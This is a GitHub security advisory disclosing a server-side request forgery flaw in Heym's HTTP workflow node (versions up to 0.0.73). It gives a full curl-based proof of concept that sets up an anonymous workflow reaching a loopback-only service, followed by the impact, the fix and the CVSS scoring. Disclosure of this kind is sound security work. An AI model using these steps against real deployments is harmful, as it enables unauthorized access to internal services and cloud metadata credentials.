Skip to content

Server-Side Request Forgery (SSRF) in HTTP Workflow Node

High
mbakgun published GHSA-8wj7-v2w6-wfcx Jul 19, 2026

Package

heymrun/heym (self-hosted)

Affected versions

<= 0.0.73

Patched versions

0.0.73

Description

Summary

The HTTP workflow node in Heym makes outbound HTTP requests to user-supplied URLs without validation of the target host or IP address. If a workflow author has already configured an HTTP node that targets internal addresses such as cloud metadata endpoints or private network hosts, and exposed the workflow with anonymous execution, an unauthenticated attacker can trigger the preconfigured SSRF sink. The same project has comprehensive SSRF protection in its MCP integration, which is absent from the HTTP node.

POC

The original one-step workflow creation payload is not accepted by the current API because POST /api/workflows only creates the workflow shell. The workflow nodes and auth_type must be set with a follow-up PUT /api/workflows/{id} request.

Step 1: Start an internal-only proof server

On the Heym server, start a service bound only to loopback:

mkdir -p /tmp/heym-ssrf-proof
printf "SSRF_PROOF_%s\n" "$(date +%s)" > /tmp/heym-ssrf-proof/ssrf-proof
python3 -m http.server 18080 --bind 127.0.0.1 --directory /tmp/heym-ssrf-proof

From an external machine, confirm it is not directly reachable:

curl http://<heym-server-ip>:18080/ssrf-proof

Expected result: connection fails.

Step 2: Register or log in

curl -s -X POST http://<heym-server-ip>:10105/api/auth/register \
  -H "Content-Type: application/json" \
  -d '{
    "email": "ssrf-poc@example.com",
    "password": "PocPassw0rd!",
    "name": "SSRF PoC"
  }'

Save the returned access_token.

Step 3: Create a workflow

curl -s -X POST http://<heym-server-ip>:10105/api/workflows \
  -H "Authorization: Bearer <access_token>" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "SSRF PoC"
  }'

Save the returned workflow id.

Step 4: Add an HTTP node targeting loopback and allow anonymous execution

curl -s -X PUT http://<heym-server-ip>:10105/api/workflows/<workflow_id> \
  -H "Authorization: Bearer <access_token>" \
  -H "Content-Type: application/json" \
  -d '{
    "nodes": [
      {
        "id": "http1",
        "type": "http",
        "position": { "x": 100, "y": 100 },
        "data": {
          "label": "ssrfHttp",
          "curl": "curl http://127.0.0.1:18080/ssrf-proof"
        }
      }
    ],
    "edges": [],
    "auth_type": "anonymous"
  }'

Step 5: Execute the workflow anonymously

curl -s -X POST http://<heym-server-ip>:10105/api/workflows/<workflow_id>/execute \
  -H "Content-Type: application/json" \
  -H "x-simple-response: false" \
  -d '{
    "inputs": {}
  }'

Expected Result

The response includes the body returned by the loopback-only service:

{
  "status": "success",
  "outputs": {
    "ssrfHttp": {
      "status": 200,
      "body": "SSRF_PROOF_...",
      "request": {
        "method": "GET",
        "url": "http://127.0.0.1:18080/ssrf-proof"
      }
    }
  }
}

The proof server logs also show that the request came from the Heym server itself:

127.0.0.1 - - "GET /ssrf-proof HTTP/1.1" 200 -

This demonstrates SSRF because the attacker cannot access the loopback-bound service directly over the network, but can cause the Heym backend to request it through the HTTP workflow node.

Impact

An attacker who can trigger a vulnerable preconfigured anonymous workflow can use the Heym backend to access localhost, private-network, link-local, or cloud metadata HTTP(S) endpoints. This may expose internal HTTP services or cloud metadata responses that are not directly reachable by the attacker. Cloud credential theft or broader cloud compromise is possible only when the deployment environment exposes useful metadata credentials.

Heym Team

The HTTP node now validates its target before connecting and refuses hosts that resolve to loopback, private, link-local, multicast, or cloud metadata addresses. The resolved IP is pinned at connection time and the node always dials directly, so DNS rebinding, redirect chains, and environment proxies cannot be used to reach an internal target. Self-hosted operators who intentionally call internal services can opt out with HEYM_HTTP_ALLOW_PRIVATE_URLS=true. Thanks to @0neOfU4 for the report and for the follow up .

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
High
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

CVE ID

CVE-2026-67545

Weaknesses

Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. Learn more on MITRE.

Credits